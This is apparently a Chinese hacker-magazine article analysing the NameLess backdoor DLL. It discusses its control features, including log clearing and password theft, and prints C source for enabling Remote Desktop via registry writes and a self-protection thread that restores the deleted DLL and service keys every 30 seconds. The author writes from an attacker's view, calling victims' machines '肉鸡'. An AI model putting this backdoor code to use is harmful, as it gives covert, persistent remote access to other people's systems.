NameLess的大名都应该听说过吧,估计还有相当多的人用过呢,个人认为这个后门非常经典,我们再来简单看一下有关它的介绍:仅有一个DLL文件,平时不开端口,可以进行反向连接的后门程序。
三、控制功能
现在我们来看NameLess的控制功能,这个其实就是属于系统编程的内容了,以前的杂志里面涉及了很多,我们今天就只拣一些比较有代表性的讲解下。所有的命令实现代码都在.\Command\目录下的相关文件中。
大多数功能都是很常见的,比如列举进程、下载文件、清理日志,经常看黑防的各位估计早就会了,得到系统当前登录用户的密码这个功能貌似不错,不过挺复杂,NameLess中是注入到WinLogon进程中并且调用了一些未公开的API比如NtQuerySystemInformation等,这里就不多讲了,有兴趣的可以自行阅读代码Findpass.h来学习。挑来挑去还是拿开启终端服务来讲一下吧,这个功能还是蛮有用的,其实说白了其实就是操作注册表:
void InstallTerm(SOCKET Socket,DWORD NewPort)
{
int a = WriteRegEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control
\\Terminal Server","TSEnabled",REG_DWORD,NULL,1,0);
int b = WriteRegEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services
\\TermService","Start",REG_DWORD,NULL,2,0);
int c = WriteRegEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control
\\Terminal Server\\WinStations\\RDP-Tcp","PortNumber",REG_DWORD,NULL,NewPort,0);
if(a && b && c)
sprintf(Temp,"Set New Terminal Service Port:%d Successfully\r\n",NewPort);
else
sprintf(Temp,"Set New Terminal Service Failed\r\n");
SendMessage(Socket,Temp);
}
WriteRegEx是作者自己写的函数,方便了他写程序过程中的重用。网上还流传有一份完整开启终端的C代码,搜“开3389 源代码”就可以找到很多。
虽然NameLess的控制功能比较全面,但大多数的功能其他后门也都具备,好像缺少一些所谓的特色功能,不过个人非常同意这种做法的。毕竟后门最重要的功能在于隐藏,拥有强大功能的那是远程控制,呵呵。
四、自身保护
作为一个后门,你不能假设肉鸡永远不会发现你,因此具有一定的自我保护能力是必须的,否则说不定随便一个新入门的菜鸟用任务管理器就能把你Kill了还会咧着嘴鄙视你:小样儿,就这水平还想出来混?
NameLess在连接上后可以通过输入命令Shield来启动保护功能,UnShield来停止,我们来看下Shield的实现方法,根据ExeCommand函数的提示很快找到了代码实现函数SetShieldStatus(位于./Command/Shield.h文件中),此函数很短,很清楚地看到它是通过创建一个ShieldThread线程来实现自我保护的,停止的话就是把这个线程给TerminateThread掉。我们来详细看下ShieldThread函数是如何实现自我保护的。
ShieldFlag = 1;
strncpy(ProtectKey1,SubRoot,sizeof(ProtectKey1));
strncat(ProtectKey1,ServerCFG.ServiceName,sizeof(ProtectKey1));
strncpy(ProtectKey2,ProtectKey1,sizeof(ProtectKey2));
strncat(ProtectKey2,"\\Parameters",sizeof(ProtectKey2));
GetModuleFileName(HMODULE(hDll), DllFilePath,MAX_PATH);
hDllFile = CreateFile(DllFilePath,GENERIC_READ,0,0,OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,0);
SizeDll = GetFileSize(hDllFile,0);
MemDll = VirtualAlloc(0,SizeDll,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
ReadFile(hDllFile,MemDll,SizeDll,&BytesRead,0);
CloseHandle(hDllFile);
while(1)
{
hSearch =FindFirstFile(DllFilePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
hDllFile = CreateFile(DllFilePath,GENERIC_WRITE,0,0,CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL,0);
WriteFile(hDllFile,MemDll,SizeDll,&BytesRead,0);
CloseHandle(hDllFile);
}
FindClose(hSearch);
WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey1,"Start",REG_DWORD,NULL,2,1);
WriteRegEx(HKEY_LOCAL_MACHINE,ProtectKey2,"ServiceDll",REG_EXPAND_SZ,
DllFilePath,NULL,0);
Sleep(30000);
就不一句句分析了,大体流程是:取得DLL路径名->读方式打开->获取文件大小->申请一块同样大小的内存->将文件内容读取到该块内存中->循环每30秒进行一次以下工作->查找该DLL是否存在->不存在则创建并将以上分配的内存块中数据写入该文件->将保护键值写入到注册表。
这种方法似乎有很多问题,因为它似乎并不是采用常用的双进程或在某个常驻系统进程中创建一个远线程,这样如果当DLL文件被删除、注册表被修改后马上将Rundll32进程结束掉就可能永远没办法“复活了”。
五、总结
通过以上的简单分析,我们可以看出这款后门在技术上其实并没有很多创新的地方,但它的经典之处在于考虑问题非常全面,并使用了一些不常见的思路,尽最大努力做到了稳定。这样的编程思路对于我们的学习非常值得借鉴,呵呵;另外值得一提的是这份工程代码非常规范,比如把读写注册表的操作封装到自定义的函数中这点就值得我们借鉴。